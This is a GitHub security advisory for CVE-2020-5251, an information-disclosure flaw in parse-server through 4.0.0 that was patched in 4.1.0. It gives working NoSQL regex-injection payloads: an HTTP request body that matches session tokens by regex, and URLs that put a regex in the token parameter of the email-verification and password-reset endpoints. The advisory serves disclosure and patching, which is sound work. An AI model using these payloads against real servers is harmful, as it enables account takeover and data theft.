Skip to content

Information disclosure in parse-server

High severity GitHub Reviewed Published Mar 3, 2020 in parse-community/parse-server • Updated Jan 9, 2023

Package

npm parse-server (npm)

Affected versions

<= 4.0.0

Patched versions

4.1.0

Description

  1. you can fetch all the users' objects, by using regex in the NoSQL query.
    Using the NoSQL, you can use a regex on sessionToken ("_SessionToken":{"$regex":"r:027f"}} and find valid accounts this way.

Using this method, it's possible to retrieve accounts without interaction from the users.

GET /parse/users/me HTTP/1.1

{
  "_ApplicationId": "appName",
  "_JavaScriptKey": "javascriptkey",
  "_ClientVersion": "js2.10.0",
  "_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300",
  "_SessionToken": {
    "$regex": "r:5"
  }
}

When trying it with an update query the same thing luckily doesn't seem to work:
POST /parse/classes/_User/PPNk59jPPZ

  1. There is another similar vulnerability in verify email and the request password reset.

If you sign up with someone else's email address, you can simply use regex in the token param to verify the account: http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&[email protected]

The same thing can be done for reset password: http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&[email protected]

You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.

References

@acinader acinader published to parse-community/parse-server Mar 3, 2020
Reviewed Mar 4, 2020
Published to the GitHub Advisory Database Mar 4, 2020
Last updated Jan 9, 2023

Severity

High
7.7
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

CVE ID

CVE-2020-5251

GHSA ID

GHSA-h4mf-75hf-67w4

Source code

No known source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.